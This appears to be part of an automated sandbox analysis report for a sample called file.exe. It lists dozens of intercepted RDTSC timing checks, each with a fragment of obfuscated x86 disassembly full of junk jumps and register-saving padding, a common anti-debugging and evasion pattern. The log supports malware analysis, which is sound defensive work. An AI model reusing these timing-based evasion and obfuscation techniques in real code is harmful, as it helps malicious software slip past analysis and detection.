Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E10192 second address: 6E10233 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51EC518D11h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F51EC518D0Ch 0x00000013 sbb cx, 66D8h 0x00000018 jmp 00007F51EC518D0Bh 0x0000001d popfd 0x0000001e pushfd 0x0000001f jmp 00007F51EC518D18h 0x00000024 jmp 00007F51EC518D15h 0x00000029 popfd 0x0000002a popad 0x0000002b mov esi, dword ptr [759B06ECh] 0x00000031 jmp 00007F51EC518D0Eh 0x00000036 test esi, esi 0x00000038 jmp 00007F51EC518D10h 0x0000003d jne 00007F51EC5199CEh 0x00000043 push eax 0x00000044 push edx 0x00000045 push eax 0x00000046 push edx 0x00000047 jmp 00007F51EC518D0Ah 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E10233 second address: 6E10242 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51EC50301Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E10242 second address: 6E102D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F51EC518D0Fh 0x00000009 sbb eax, 1356D1BEh 0x0000000f jmp 00007F51EC518D19h 0x00000014 popfd 0x00000015 mov ch, 13h 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push esi 0x0000001b jmp 00007F51EC518D18h 0x00000020 mov dword ptr [esp], edi 0x00000023 pushad 0x00000024 mov esi, 7EE00B3Dh 0x00000029 mov bh, ch 0x0000002b popad 0x0000002c call dword ptr [75980B60h] 0x00000032 mov eax, 75F3E5E0h 0x00000037 ret 0x00000038 pushad 0x00000039 pushad 0x0000003a mov dx, CAC4h 0x0000003e jmp 00007F51EC518D0Dh 0x00000043 popad 0x00000044 mov esi, 34719EC7h 0x00000049 popad 0x0000004a push 00000044h 0x0000004c jmp 00007F51EC518D0Ah 0x00000051 pop edi 0x00000052 pushad 0x00000053 mov esi, 5D01168Dh 0x00000058 push eax 0x00000059 push edx 0x0000005a movzx esi, dx 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E102D7 second address: 6E102ED instructions: 0x00000000 rdtsc 0x00000002 mov di, 96A8h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov dx, 1AECh 0x00000011 mov dx, F9D8h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E103AD second address: 6E103B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E103B1 second address: 6E103B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E103B7 second address: 6E10498 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, CFE7h 0x00000007 pushfd 0x00000008 jmp 00007F51EC518D0Ch 0x0000000d adc al, 00000018h 0x00000010 jmp 00007F51EC518D0Bh 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 test esi, esi 0x0000001b pushad 0x0000001c pushfd 0x0000001d jmp 00007F51EC518D14h 0x00000022 xor cx, 7278h 0x00000027 jmp 00007F51EC518D0Bh 0x0000002c popfd 0x0000002d mov eax, 7A6C45AFh 0x00000032 popad 0x00000033 je 00007F525B037FA2h 0x00000039 jmp 00007F51EC518D12h 0x0000003e sub eax, eax 0x00000040 jmp 00007F51EC518D11h 0x00000045 mov dword ptr [esi], edi 0x00000047 jmp 00007F51EC518D0Eh 0x0000004c mov dword ptr [esi+04h], eax 0x0000004f pushad 0x00000050 pushad 0x00000051 jmp 00007F51EC518D0Ch 0x00000056 mov si, 3281h 0x0000005a popad 0x0000005b push esi 0x0000005c mov edi, 1E8D3280h 0x00000061 pop edi 0x00000062 popad 0x00000063 mov dword ptr [esi+08h], eax 0x00000066 jmp 00007F51EC518D14h 0x0000006b mov dword ptr [esi+0Ch], eax 0x0000006e push eax 0x0000006f push edx 0x00000070 jmp 00007F51EC518D17h 0x00000075 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E10498 second address: 6E1049E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E1049E second address: 6E104C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51EC518D0Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [ebx+4Ch] 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F51EC518D15h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E104C9 second address: 6E104F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F51EC503027h 0x00000008 mov edx, eax 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esi+10h], eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 mov dl, ah 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E104F0 second address: 6E1053E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51EC518D13h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, 0C1982CFh 0x0000000e popad 0x0000000f mov eax, dword ptr [ebx+50h] 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 mov cl, dh 0x00000017 pushfd 0x00000018 jmp 00007F51EC518D18h 0x0000001d xor ch, FFFFFFA8h 0x00000020 jmp 00007F51EC518D0Bh 0x00000025 popfd 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E1053E second address: 6E10598 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, ebx 0x00000005 call 00007F51EC50301Bh 0x0000000a pop esi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esi+14h], eax 0x00000011 pushad 0x00000012 mov edx, 24952F08h 0x00000017 pushad 0x00000018 movsx edx, cx 0x0000001b pushad 0x0000001c popad 0x0000001d popad 0x0000001e popad 0x0000001f mov eax, dword ptr [ebx+54h] 0x00000022 pushad 0x00000023 mov ax, 7A11h 0x00000027 call 00007F51EC50301Eh 0x0000002c pop edi 0x0000002d popad 0x0000002e mov dword ptr [esi+18h], eax 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007F51EC503026h 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E10598 second address: 6E1059E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E1059E second address: 6E10612 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, si 0x00000006 pushfd 0x00000007 jmp 00007F51EC503028h 0x0000000c adc ch, 00000028h 0x0000000f jmp 00007F51EC50301Bh 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 mov eax, dword ptr [ebx+58h] 0x0000001b jmp 00007F51EC503026h 0x00000020 mov dword ptr [esi+1Ch], eax 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 pushfd 0x00000027 jmp 00007F51EC50301Dh 0x0000002c sbb ch, FFFFFFF6h 0x0000002f jmp 00007F51EC503021h 0x00000034 popfd 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E10612 second address: 6E10618 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E10618 second address: 6E1061C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E1061C second address: 6E10620 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E10620 second address: 6E1062F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [ebx+5Ch] 0x0000000b pushad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E1062F second address: 6E10643 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 mov dword ptr [esi+20h], eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov ax, ABC7h 0x00000010 mov di, ax 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E10643 second address: 6E10696 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51EC503029h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [ebx+60h] 0x0000000c jmp 00007F51EC50301Eh 0x00000011 mov dword ptr [esi+24h], eax 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 mov di, 04F0h 0x0000001b call 00007F51EC503029h 0x00000020 pop ecx 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E10696 second address: 6E1069C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E1069C second address: 6E106A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E106A0 second address: 6E106A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E106A4 second address: 6E10744 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [ebx+64h] 0x0000000b jmp 00007F51EC503024h 0x00000010 mov dword ptr [esi+28h], eax 0x00000013 jmp 00007F51EC503020h 0x00000018 mov eax, dword ptr [ebx+68h] 0x0000001b pushad 0x0000001c jmp 00007F51EC50301Eh 0x00000021 pushfd 0x00000022 jmp 00007F51EC503022h 0x00000027 and esi, 730EF928h 0x0000002d jmp 00007F51EC50301Bh 0x00000032 popfd 0x00000033 popad 0x00000034 mov dword ptr [esi+2Ch], eax 0x00000037 jmp 00007F51EC503026h 0x0000003c mov ax, word ptr [ebx+6Ch] 0x00000040 push eax 0x00000041 push edx 0x00000042 jmp 00007F51EC503027h 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E10744 second address: 6E10841 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, 6ADAh 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov word ptr [esi+30h], ax 0x0000000e jmp 00007F51EC518D0Ch 0x00000013 mov ax, word ptr [ebx+00000088h] 0x0000001a jmp 00007F51EC518D10h 0x0000001f mov word ptr [esi+32h], ax 0x00000023 pushad 0x00000024 mov ebx, ecx 0x00000026 movzx esi, dx 0x00000029 popad 0x0000002a mov eax, dword ptr [ebx+0000008Ch] 0x00000030 jmp 00007F51EC518D15h 0x00000035 mov dword ptr [esi+34h], eax 0x00000038 jmp 00007F51EC518D0Eh 0x0000003d mov eax, dword ptr [ebx+18h] 0x00000040 pushad 0x00000041 movzx eax, bx 0x00000044 pushfd 0x00000045 jmp 00007F51EC518D13h 0x0000004a add cx, 689Eh 0x0000004f jmp 00007F51EC518D19h 0x00000054 popfd 0x00000055 popad 0x00000056 mov dword ptr [esi+38h], eax 0x00000059 jmp 00007F51EC518D0Eh 0x0000005e mov eax, dword ptr [ebx+1Ch] 0x00000061 pushad 0x00000062 mov cl, bh 0x00000064 popad 0x00000065 mov dword ptr [esi+3Ch], eax 0x00000068 pushad 0x00000069 pushfd 0x0000006a jmp 00007F51EC518D12h 0x0000006f adc esi, 211534F8h 0x00000075 jmp 00007F51EC518D0Bh 0x0000007a popfd 0x0000007b mov edi, eax 0x0000007d popad 0x0000007e mov eax, dword ptr [ebx+20h] 0x00000081 push eax 0x00000082 push edx 0x00000083 jmp 00007F51EC518D11h 0x00000088 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E10841 second address: 6E108A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51EC503021h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esi+40h], eax 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F51EC50301Ch 0x00000013 and esi, 3D0499B8h 0x00000019 jmp 00007F51EC50301Bh 0x0000001e popfd 0x0000001f mov ah, CDh 0x00000021 popad 0x00000022 lea eax, dword ptr [ebx+00000080h] 0x00000028 jmp 00007F51EC50301Bh 0x0000002d push 00000001h 0x0000002f pushad 0x00000030 mov dl, ch 0x00000032 push ebx 0x00000033 mov edi, ecx 0x00000035 pop esi 0x00000036 popad 0x00000037 push esp 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007F51EC50301Bh 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E108A5 second address: 6E108FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 10A4E4EAh 0x00000008 pushfd 0x00000009 jmp 00007F51EC518D0Bh 0x0000000e adc ah, FFFFFF8Eh 0x00000011 jmp 00007F51EC518D19h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov dword ptr [esp], eax 0x0000001d pushad 0x0000001e mov eax, edi 0x00000020 popad 0x00000021 lea eax, dword ptr [ebp-10h] 0x00000024 pushad 0x00000025 push ebx 0x00000026 pushad 0x00000027 popad 0x00000028 pop ecx 0x00000029 mov edi, 1933F020h 0x0000002e popad 0x0000002f push eax 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007F51EC518D0Bh 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E108FC second address: 6E10914 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F51EC503024h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E10914 second address: 6E10918 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E10918 second address: 6E1092F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F51EC50301Ah 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E10A10 second address: 6E10A16 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E10A16 second address: 6E10A41 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, cx 0x00000006 mov si, 528Fh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esi+04h], eax 0x00000010 jmp 00007F51EC503022h 0x00000015 lea eax, dword ptr [ebx+78h] 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E10A41 second address: 6E10A45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E10A45 second address: 6E10A49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E10A49 second address: 6E10A4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E10A4F second address: 6E10A5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F51EC50301Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E10A5E second address: 6E10ADA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51EC518D19h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push 00000001h 0x0000000d jmp 00007F51EC518D0Eh 0x00000012 nop 0x00000013 jmp 00007F51EC518D10h 0x00000018 push eax 0x00000019 jmp 00007F51EC518D0Bh 0x0000001e nop 0x0000001f jmp 00007F51EC518D16h 0x00000024 lea eax, dword ptr [ebp-08h] 0x00000027 jmp 00007F51EC518D10h 0x0000002c nop 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E10ADA second address: 6E10AF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007F51EC503023h 0x00000009 pop eax 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E10AF3 second address: 6E10B4A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F51EC518D14h 0x00000008 pop ecx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F51EC518D0Ah 0x00000014 xor eax, 10FAE478h 0x0000001a jmp 00007F51EC518D0Bh 0x0000001f popfd 0x00000020 mov di, ax 0x00000023 popad 0x00000024 nop 0x00000025 pushad 0x00000026 jmp 00007F51EC518D10h 0x0000002b push eax 0x0000002c push edx 0x0000002d mov eax, 390BF697h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E10C24 second address: 6E10C80 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51EC503029h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push 00000001h 0x0000000b jmp 00007F51EC50301Eh 0x00000010 nop 0x00000011 jmp 00007F51EC503020h 0x00000016 push eax 0x00000017 pushad 0x00000018 mov al, dh 0x0000001a jmp 00007F51EC50301Ah 0x0000001f popad 0x00000020 nop 0x00000021 pushad 0x00000022 mov bh, ah 0x00000024 mov dh, 14h 0x00000026 popad 0x00000027 lea eax, dword ptr [ebp-18h] 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E10C80 second address: 6E10C8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov edx, 4A32FA50h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E10C8A second address: 6E10C90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E10C90 second address: 6E10CEB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51EC518D10h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c pushad 0x0000000d mov al, 79h 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F51EC518D19h 0x00000016 and si, 2C36h 0x0000001b jmp 00007F51EC518D11h 0x00000020 popfd 0x00000021 mov cx, 9C27h 0x00000025 popad 0x00000026 popad 0x00000027 push eax 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b mov al, 5Ah 0x0000002d mov esi, ebx 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E10D41 second address: 6E10D6C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, 253Ah 0x00000007 mov edi, 61F85B06h 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov edi, eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F51EC503028h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E10D6C second address: 6E10D7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F51EC518D0Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E10D7E second address: 6E10DB3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51EC50301Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test edi, edi 0x0000000d jmp 00007F51EC503026h 0x00000012 js 00007F525B02191Eh 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E10DB3 second address: 6E10DB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E10DB7 second address: 6E10DBD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E10DBD second address: 6E10DC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E10DC3 second address: 6E10DC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E10DC7 second address: 6E10E97 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [ebp-14h] 0x0000000b pushad 0x0000000c mov di, ax 0x0000000f mov si, D77Bh 0x00000013 popad 0x00000014 mov ecx, esi 0x00000016 jmp 00007F51EC518D0Eh 0x0000001b mov dword ptr [esi+0Ch], eax 0x0000001e jmp 00007F51EC518D10h 0x00000023 mov edx, 759B06ECh 0x00000028 jmp 00007F51EC518D10h 0x0000002d sub eax, eax 0x0000002f pushad 0x00000030 pushfd 0x00000031 jmp 00007F51EC518D17h 0x00000036 sbb cx, D46Eh 0x0000003b jmp 00007F51EC518D19h 0x00000040 popfd 0x00000041 pushad 0x00000042 pushad 0x00000043 popad 0x00000044 mov dx, si 0x00000047 popad 0x00000048 popad 0x00000049 lock cmpxchg dword ptr [edx], ecx 0x0000004d jmp 00007F51EC518D16h 0x00000052 pop edi 0x00000053 jmp 00007F51EC518D10h 0x00000058 test eax, eax 0x0000005a push eax 0x0000005b push edx 0x0000005c pushad 0x0000005d call 00007F51EC518D0Dh 0x00000062 pop ecx 0x00000063 mov ax, dx 0x00000066 popad 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E10E97 second address: 6E10EB1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51EC50301Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F525B02184Dh 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E10EB1 second address: 6E10EB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E10EB5 second address: 6E10EB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E10EB9 second address: 6E10EBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E10EBF second address: 6E10ECE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F51EC50301Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E10ECE second address: 6E10F08 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F51EC518D19h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov edx, dword ptr [ebp+08h] 0x0000000e jmp 00007F51EC518D0Eh 0x00000013 mov eax, dword ptr [esi] 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 pushad 0x00000019 popad 0x0000001a push ebx 0x0000001b pop ecx 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E10F08 second address: 6E10FD4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F51EC503022h 0x00000008 push ecx 0x00000009 pop ebx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [edx], eax 0x0000000f jmp 00007F51EC50301Ch 0x00000014 mov eax, dword ptr [esi+04h] 0x00000017 pushad 0x00000018 mov ax, 200Dh 0x0000001c popad 0x0000001d mov dword ptr [edx+04h], eax 0x00000020 jmp 00007F51EC50301Fh 0x00000025 mov eax, dword ptr [esi+08h] 0x00000028 pushad 0x00000029 pushad 0x0000002a pushfd 0x0000002b jmp 00007F51EC503022h 0x00000030 jmp 00007F51EC503025h 0x00000035 popfd 0x00000036 jmp 00007F51EC503020h 0x0000003b popad 0x0000003c mov bh, ch 0x0000003e popad 0x0000003f mov dword ptr [edx+08h], eax 0x00000042 jmp 00007F51EC50301Dh 0x00000047 mov eax, dword ptr [esi+0Ch] 0x0000004a push eax 0x0000004b push edx 0x0000004c pushad 0x0000004d mov si, dx 0x00000050 pushfd 0x00000051 jmp 00007F51EC50301Fh 0x00000056 sbb cl, FFFFFFDEh 0x00000059 jmp 00007F51EC503029h 0x0000005e popfd 0x0000005f popad 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E10FD4 second address: 6E10FDA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 6E10FDA second address: 6E10FDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
